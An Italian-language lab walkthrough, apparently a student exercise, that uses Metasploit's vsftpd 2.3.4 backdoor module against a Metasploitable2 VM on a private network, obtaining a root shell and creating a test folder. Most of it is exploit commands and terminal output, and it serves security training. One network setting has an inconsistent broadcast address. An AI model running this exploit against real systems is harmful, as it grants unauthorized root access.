

STEP 1: cambio l'ip della macchina metasploitable in 192.168.50.149

```
metasploitable2 [In esecuzione] - Oracle VM VirtualBox
File  Macchina  Visualizza  Inserimento  Dispositivi  Aiuto
GNU nano 2.0.7 File: /etc/network/interfaces

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
#iface eth0 inet dhcp

iface eth0 inet static
address 192.168.50.149
netmask 255.255.255.0
network 192.168.50.0
broadcast 192.168.5.255
gateway 192.168.50.1

[ Wrote 17 lines ]

msfadmin@metasploitable:~$ _
```

STEP 2: apro msfconsole e cerco gli exploit per “vsftpd”

```
msf6 > search vsftpd

Matching Modules
=====

#  Name                                     Disclosure Date  Rank      Check  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal    Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor     2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > █
```

STEP 3: utilizzo il secondo exploit e vado a vedere le opzioni disponibili

```
-----
#  Name                               Disclosure Date Rank    Check  Description
-  ----                               -
0  auxiliary/dos/ftp/vsftpd_232        2011-02-03     normal Yes     VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03    excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
----      -
CHOST      .                no        The local client address
CPORT      .                no        The local client port
Proxies    .                no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     .                yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      21               yes       The target port (TCP)

Exploit target:

Id  Name
--  ---
0   Automatic
```

STEP 4: cambio l' rhost e vado a vedere i payloads

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.50.149
rhost => 192.168.50.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
=====

#  Name                               Disclosure Date Rank    Check  Description
-  ----                               -
0  payload/cmd/unix/interact .                normal No      Unix Command, Interact with Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > █
```

STEP 5: eseguo l'exploit e ottengo una shell sulla macchina target

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run  
[*] 192.168.50.149:21 - Banner: 220 (vsFTPd 2.3.4)  
[*] 192.168.50.149:21 - USER: 331 Please specify the password.  
[+] 192.168.50.149:21 - Backdoor service has been spawned, handling...  
[+] 192.168.50.149:21 - UID: uid=0(root) gid=0(root)  
[*] Found shell.  
[*] Command shell session 1 opened (192.168.50.100:36927 -> 192.168.50.149:6200) at 2024-07-08 15:32:47 +0200
```

STEP 6: Creo una nuova cartella e faccio un "ls" per conferma

```
mkdir /testMetasploit  
ls
```

```
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost+found  
media  
mnt  
nohup.out  
opt  
proc  
root  
sbin  
srv  
sys  
testMetasploit  
tmp  
usr  
var  
vmlinuz
```

